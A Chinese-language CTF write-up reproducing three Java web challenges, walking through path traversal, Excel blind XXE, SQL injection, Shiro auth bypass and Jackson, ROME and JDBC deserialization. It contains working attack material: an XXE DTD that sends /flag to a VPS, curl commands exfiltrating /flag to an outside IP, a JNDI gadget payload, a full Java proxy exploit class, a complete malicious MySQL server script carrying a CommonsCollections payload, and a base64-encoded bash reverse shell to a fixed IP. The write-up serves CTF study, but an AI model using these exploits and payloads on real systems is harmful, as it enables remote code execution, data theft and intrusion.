大赛上的Java 题复现
之前没学Java,都是把遇到的Java题直接放掉,现在回头来看看
先把BUU上的Java CTF复现完
网鼎杯2020
青龙组 filejava
考点:文件读取、Excel-XXE
打开发现一个UploadServlet
上传后返回链接/DownloadServlet?filename=3b439bcb-1a40-4617-8b8f-f473968d7d17_1.txt
测试发现目录穿越,可以读取任意文件,此外在/UploadServerlet
上传文件名1.txt/../../../../
报错,返回了项目路径
根据Servlet项目结构读一下web.xml
/DownloadServlet?filename=/../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
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| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>DownloadServlet</servlet-name> <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class> </servlet>
<servlet-mapping> <servlet-name>DownloadServlet</servlet-name> <url-pattern>/DownloadServlet</url-pattern> </servlet-mapping>
<servlet> <servlet-name>ListFileServlet</servlet-name> <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class> </servlet>
<servlet-mapping> <servlet-name>ListFileServlet</servlet-name> <url-pattern>/ListFileServlet</url-pattern> </servlet-mapping>
<servlet> <servlet-name>UploadServlet</servlet-name> <servlet-class>cn.abc.servlet.UploadServlet</servlet-class> </servlet>
<servlet-mapping> <servlet-name>UploadServlet</servlet-name> <url-pattern>/UploadServlet</url-pattern> </servlet-mapping> </web-app>
|
根据配置内容看一下相关Class文件
WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
就是一个文件下载功能,而这里ban掉了flag
关键字
然后读一下UploadServlet.class
搜一下可知,这里存在一个excel的CVE(Bind XXE),当我们上传以excel-
开头,后缀为xlsx
的表格即可触发
新建一个excel-1.xlsx
,改为zip
,将[Content_Types].xml
第一行改为
1
| <!DOCTYPE exp [<!ENTITY % remote SYSTEM 'http://vps/evil.dtd'>%remote;]><exp/>
|
在vps放入evil.dtd
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| <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps:port/?q=%file;'>"> %int; %send;
|
vps开启监听,上传excel即可
朱雀组 Think Java
考点:swagger API文档简单使用、SQL注入、fuzz反序列化链
给了附件,里面有部分class文件
test.java
使用了swagger,这是一个开源的API文档工具,详情见 传送门
访问swagger-ui.html
就能获得所有API,那就访问一下题目的
看一下/sqlDict
功能,我们能控制dbName
参数
跟一下getTableData
函数
直接带入了sql语句,存在SQL注入。
但前面还要满足一下jdbc
协议的连接不能出错
JDBC的URL也类似http请求中的URL,也可以使用锚点#或者?
如:jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#
构造payload拿到密码
myapp#' union select group_concat(name,0x3a,pwd)from user#
拿去登录
返回了一个ro0AB
开头的数据,这是标准的Base64
加密后的Java序列化数据开头
如果以aced开头,则是java序列化数据的16进制
拿去/common/user/current
这里就应该就是将序列化后的数据直接反序列化
用yso生成payload
最后测链子测了很久,CC链、Spring1/2等都打不通,看别人WP,ROME能打
有时间一定写个自动fuzz
java -jar yso*-all.jar ROME "curl http://ip:port -d @/flag" |base64
红明谷2021
JavaWeb
考点:Shiro权限绕过、jackson反序列化
打开提示/login
,访问后提示/json
,再次访问/json
后跳转回了/login
,还带了一个JSESSIONID=4FA4C85D135CFCC2B62A3CB38AF0DC89;
这场景。。。很像Vulhub中shiro反序列化那个靶场
将Cookie中带一下rememberMe
实锤shiro了
拿shiro反序列化利用工具打了会儿,没打出来
想到访问/json
直接跳转回了/login
,而Shiro又存在权限绕过,试一下访问/;/json
貌似要post什么东西,没试出来了,去康康其他师傅怎么做的
来自赵师傅的WP
可能是赛后复现的环境问题,同样的输入并没有报jackson
错误出来
看一下 jackson反序列化
发现能用logback
打,但不是ch.qos.logback.core.db.DriverManagerConnectionSource
ch.qos.logback.core.db.DriverManagerConnectionSource比较鸡肋,只能打使用H2嵌入式数据库的站,场景很少
这里用的是 ch.qos.logback.core.db.JNDIConnectionSource
,结合JNDI+RMI来RCE
详见这里
用现成工具 https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI* -C 'curl http://106.15.121.121:1234/ -d @/flag'
使用这个URL
最终payload
["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"rmi://106.15.121.121:1099/n9kwn1"}]
羊城杯2020
a piece of java
考点:Java动态代理、JDBC绕过白名单类限制
反序列化点的发现
给了jar包,解压一下jar xvf web-0.0.1-SNAPSHOT.jar
,然后用IDEA打开
不知道从哪里下手,找了会儿入口文件,来到gdufs.challenge.web.controller.MainController
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| package gdufs.challenge.web.controller;
import gdufs.challenge.web.model.Info; import gdufs.challenge.web.model.UserInfo; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Base64; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; import org.nibblesec.tools.SerialKiller; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam;
@Controller public class MainController { public MainController() { }
@GetMapping({"/index"}) public String index(@CookieValue(value = "data",required = false) String cookieData) { return cookieData != null && !cookieData.equals("") ? "redirect:/hello" : "index"; }
@PostMapping({"/index"}) public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) { UserInfo userinfo = new UserInfo(); userinfo.setUsername(username); userinfo.setPassword(password); Cookie cookie = new Cookie("data", this.serialize(userinfo)); cookie.setMaxAge(2592000); response.addCookie(cookie); return "redirect:/hello"; }
@GetMapping({"/hello"}) public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) { if (cookieData != null && !cookieData.equals("")) { Info info = (Info)this.deserialize(cookieData); if (info != null) { model.addAttribute("info", info.getAllInfo()); }
return "hello"; } else { return "redirect:/index"; } }
private String serialize(Object obj) { ByteArrayOutputStream baos = new ByteArrayOutputStream();
try { ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); } catch (Exception var4) { var4.printStackTrace(); return null; }
return new String(Base64.getEncoder().encode(baos.toByteArray())); }
private Object deserialize(String base64data) { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try { ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf"); Object obj = ois.readObject(); ois.close(); return obj; } catch (Exception var5) { var5.printStackTrace(); return null; } } }
|
这里将Cookiedata进行了反序列化
跟一下Cookiedata,可控
再仔细看一下deserialize
函数,醒目的readObject
然后就是找链子了,看一下pom.xml
JDK 1.8
在lib里找到了commons-collections-3.2.1.jar
但打了一下CC5却没反应。。。
白名单限制(SerialKiller)
看一下deserialize
函数中readObject
前的new SerialKiller(bais, "serialkiller.conf");
有什么用
支持黑白名单来限制Java反序列化时的数据,en……不就是JEP290的功能吗
找到serialkiller.conf
使用了白名单。
那思路就要转变一下,从白名单类寻找突破口
全局搜索一下 Serializable
,看看有什么能用的
先来看看gdufs.challenge.web.invocation.InfoInvocationHandler
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| package gdufs.challenge.web.invocation;
import gdufs.challenge.web.model.Info; import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method;
public class InfoInvocationHandler implements InvocationHandler, Serializable { private Info info;
public InfoInvocationHandler(Info info) { this.info = info; }
public Object invoke(Object proxy, Method method, Object[] args) { try { return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args); } catch (Exception var5) { var5.printStackTrace(); return null; } } }
|
这里继承了序列化类和反射类
然后是gdufs.challenge.web.model.DatabaseInfo
当host、port、username、password不为null时就会调用this.connect()
,跟进一下
就是将成员变量拼接到JDBC URL里,然后发起数据库连接请求,而这里的host、port、username、password等成员变量经过反序列化都可控,故不难得出这里要借助于JDBC反序列化
动态代理+反序列化控制JDBC请求完成JDBC反序列化
走一遍流程
代理对象在执行被代理对象的任何方法前都会执行重写的invoke
方法
所以我们将this.info
赋值为DatabaseInfo
,然后调用它invoke
方法,接着就是调用DatabaseInfo
的checkAllInfo
方法
来到checkAllInfo
,设置相关参数为恶意Mysql地址,调用this.connect
请求恶意Mysql地址,返回构造的反序列化数据,触发JDBC反序列化
JDBC反序列化参考 这里
构造Exp如下
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| package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler; import gdufs.challenge.web.model.*;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy; import java.util.Base64;
public class exp { public static void main(String[] args) throws Exception { DatabaseInfo db = new DatabaseInfo(); db.setHost("106.15.121.121"); db.setPort("3307"); db.setUsername("root"); db.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"); ClassLoader classLoader = db.getClass().getClassLoader(); Class[] interfaces = db.getClass().getInterfaces(); InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(db); Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos); objectOutputStream.writeObject(proxy); objectOutputStream.flush(); objectOutputStream.close();
String s = new String(Base64.getEncoder().encode(baos.toByteArray())); System.out.printf(s); } }
|
直接引入题目源码的jar
包不能使用gdufs
的类,这里采用方法是新建一个IDEA项目,然后用 JD-GUI 将题目jar转换为 java 文件,复制gdufs
目录进入IDEA项目
然后在Project Structure
将题目存放依赖jar包的整个目录引入过来即可
恶意Mysql服务器
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| import socket import binascii import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000"
def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower()
def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data))
def get_payload_content(): file= r'payload' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs")
else: print("open false") payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content
def run():
while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1]))
send_data(conn,greeting_data)
while True: receive_data(conn) send_data(conn,response_ok_data)
data=receive_data(conn) if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' payload_content=get_payload_content() payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break
if __name__ == '__main__': HOST ='0.0.0.0' PORT = 3307
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sk.bind((HOST, PORT)) sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
|
java -jar yso*.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwNi4xNS4xMjEuMTIxLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload
b64内容是反弹shell /bin/bash -i >& /dev/tcp/106.15.121.121/1234 0>&1
不知为何直接写反弹shell的payload不行,需要b64加密
先启动恶意服务器,然后生成payload打过去,即可收到shell